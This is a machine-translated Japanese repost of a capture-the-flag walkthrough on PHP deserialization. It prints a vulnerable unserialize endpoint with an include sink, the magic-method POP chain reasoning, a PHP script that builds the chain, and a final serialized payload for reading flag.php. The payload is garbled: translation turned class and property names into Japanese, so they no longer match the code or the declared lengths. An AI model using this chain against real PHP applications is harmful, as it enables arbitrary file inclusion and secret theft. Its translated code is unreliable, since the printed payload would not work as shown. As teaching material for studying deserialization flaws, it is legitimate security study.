PHP逆シリアル化問題のポップチェーン構造

トピックのアドレスは: GitHub - mcc0624/php_ser_Class: php デシリアライゼーション射撃場

クリックして次の質問を入力してください

話題のコードは以下の通りで、まるで入れ子人形のようにマジックメソッドを何度も呼び出しており、かなり頭を使います。トピックによると、明らかにターゲットは echo $flag です

<?php
//flag is in flag.php
error_reporting(0); 
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){     //把对象当成函数调用触发
        $this->append($this->var);  
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){    //把对象当成字符串调用
        return $this->str->source;
    }
    public function __wakeup(){      //反序列化之前触发__wakeup()
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){    //在实例化一个对象时
        $this->p = array();
    }

    public function __get($key){      //调用的成员属性不存在。
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?> 

このような質問は、ターゲット反転法を使用して分析する必要があります。

  1. ターゲットはエコーをトリガーしてフラグを出力します。$value=flag.php を作成してから、append(flag.php) を呼び出し、append 呼び出しを呼び出します。
  2. invoke をトリガーし、append() を呼び出します。そして $var=flag.php を作成します。トリガーの呼び出し条件: オブジェクトを関数として扱います。_get は関数を返します
  3. Test の p 属性 = new Modifier の場合、__invoke がトリガーされます。では、__get をトリガーするにはどうすればよいでしょうか? 呼び出されたメンバー属性が存在しない場合にトリガーされます。
  4. Show で $str=New Test() にすると、Test にソースが存在しない場合、__get がトリガーされます。では、__toString をトリガーするにはどうすればよいでしょうか? オブジェクトが文字列として呼び出されたときにトリガーされます
  5. __wakeup で source=new Show() にして、__toString をトリガーします。__wakeup をトリガーするにはどうすればよいですか? 逆シリアル化トリガー

逆方向に分析した後、次のように進めます。

  1. 逆シリアル化は Show オブジェクトの wakeup() をトリガーします
  2. そして、show object = new show()のsource属性を設定し、オブジェクトを文字列として出力し、tostringをトリガーします。
  3. 次に、Show オブジェクトの str 属性 = New Test()、属性ソースが Test に存在しないものとして、__get() をトリガーします。
  4. Test オブジェクトの $p 属性 = new Modifier() とし、オブジェクトを関数として返し、__invoke をトリガーします。
  5. Modifier オブジェクトのプライベート var 属性を =flag.php として、append 関数を呼び出し、フラグを出力します。

最後に、コードを使用してポップ チェーンの構築を実現します。

<?php

class Show{
    public $source;
    public $str;
    public function __toString(){    //把对象当成字符串调用
        return $this->str->source;
    }
    public function __wakeup(){      //反序列化之前触发__wakeup()
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){    //在实例化一个对象时
        $this->p = array();
    }

    public function __get($key){      //调用的成员属性不存在。
        $function = $this->p;
        return $function();
    }
}

class Modifier {
    public $var;   //先修改为public,方便调用
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){     //把对象当成函数调用触发
        $this->append($this->var);  
    }
}

$show = new Show;
$show->source=$show;
$test = new Test;
$show->str=$test;
$modi=new Modifier;
$test->p=$modi;
$modi->var="flag.php";

echo serialize($show);

?>

次に、逆シリアル化された文字列にアクセスして出力します。

var をプライベート プロパティに変更する必要があります

O:4:"表示":2:{s:6:"ソース";r:1;s:3:"str";O:4:"テスト":1:{s:1:"p"; O:8:"モディファイア":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

最後に逆シリアル化された文字列を送信してフラグを取得します

おすすめ

転載: blog.csdn.net/qq_44159028/article/details/130770713